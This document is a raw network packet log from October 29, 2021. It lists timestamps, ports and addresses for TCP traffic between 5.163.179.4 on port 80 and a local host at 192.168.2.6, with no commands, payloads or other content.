Oct 29, 2021 17:56:05.942719936 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:05.943383932 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:05.943479061 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.040802002 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.041002035 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.041069031 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.041188002 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.041480064 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.041537046 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.138631105 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.138840914 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.138945103 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.138992071 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.139062881 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.139118910 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.139228106 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.139480114 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.139503002 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.139575005 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.139636993 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.139775991 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.236670971 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.236711025 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.236835003 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.236840963 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.236987114 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237047911 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.237092972 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237250090 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237309933 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.237350941 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237461090 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237507105 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.237611055 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237770081 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237828016 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.237839937 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237854958 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.237915993 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.335771084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.335830927 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.335870981 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.335931063 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336028099 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336066961 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336110115 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336210966 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336250067 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336304903 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336378098 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336451054 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336452007 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336639881 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336680889 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336714983 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336719990 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336760044 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336785078 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336879969 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336919069 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336946964 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.336958885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.336998940 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337016106 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.337037086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337095022 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.337105989 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337146044 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337208033 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.337212086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337255001 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337313890 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.337321997 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337389946 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337424994 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337449074 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.337466002 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337503910 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.337522030 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.433938980 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.433998108 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434039116 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434071064 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.434103012 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434155941 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.434283018 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434365034 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.434410095 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434480906 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434549093 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.434642076 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434684992 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434726000 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434760094 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.434827089 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434865952 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434895992 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.434943914 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.434986115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435012102 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435113907 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435156107 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435185909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435246944 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435286045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435319901 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435357094 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435396910 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435436964 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435499907 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435539007 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435573101 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435587883 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435640097 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435647011 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435708046 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435749054 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435780048 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435791016 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435831070 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435867071 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435869932 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435910940 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435935020 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.435949087 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.435990095 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436016083 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436028957 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436069965 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436103106 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436110973 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436148882 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436187029 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436187983 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436225891 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436259985 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436263084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436302900 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436336994 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436342955 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436384916 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436425924 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436465979 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436506033 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436547041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436659098 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436719894 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436759949 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.436947107 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436973095 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436978102 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436983109 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.436988115 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.533699036 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.533766031 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.533842087 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.533869982 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.533946037 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.533994913 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.534074068 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534229994 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534279108 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.534322977 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534444094 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534517050 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.534611940 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534646034 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534702063 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534708977 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.534753084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534801960 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.534884930 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534921885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534956932 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.534970999 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.534990072 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535044909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535106897 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535139084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535191059 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535209894 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535245895 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535291910 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535352945 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535415888 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535451889 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535466909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535480976 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535531998 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535618067 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535670042 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535705090 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535726070 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535739899 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535773993 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535787106 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535806894 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535841942 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535852909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535876036 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535911083 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535928011 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.535945892 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.535979033 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536011934 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536024094 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536046028 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536056042 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536145926 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536185026 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536214113 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536216974 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536253929 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536273956 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536288977 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536326885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536336899 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536360979 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536393881 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536410093 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536494970 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536544085 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.536636114 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536746025 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536894083 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.536938906 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.631700039 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.631728888 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.631839037 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.631844997 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.631899118 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.631954908 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632206917 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632273912 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.632353067 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632442951 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632492065 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.632658005 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632694006 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632714033 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632735014 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632741928 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.632791042 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.632821083 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632885933 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632941008 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.632970095 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.632993937 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633042097 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633089066 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633115053 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633163929 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633197069 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633279085 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633336067 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633342028 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633363962 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633403063 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633490086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633512020 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633553028 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633657932 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633683920 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633709908 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633749008 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633771896 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633796930 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633819103 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633821964 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633861065 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633876085 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633899927 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633924961 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.633938074 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.633949041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634001970 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634035110 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634057999 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634114027 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634134054 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634185076 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634206057 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634226084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634228945 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634248972 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634268999 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634272099 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634291887 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634325027 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634334087 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634385109 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634387016 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634408951 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634454966 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.634542942 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634639025 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.634692907 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.729156971 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.729621887 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.729652882 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.729728937 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.729789972 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.729821920 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.729841948 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.729897976 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.729950905 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.729955912 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730127096 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730206966 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.730217934 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730247974 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730307102 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.730384111 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730488062 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730525970 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730573893 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.730635881 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730664968 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730689049 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.730691910 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730720043 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730746031 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.730844021 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730870962 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730892897 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.730969906 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731010914 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731039047 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731116056 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731153965 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731183052 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731209040 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731236935 CEST	80	49857	5.163.179.4	192.168.2.6
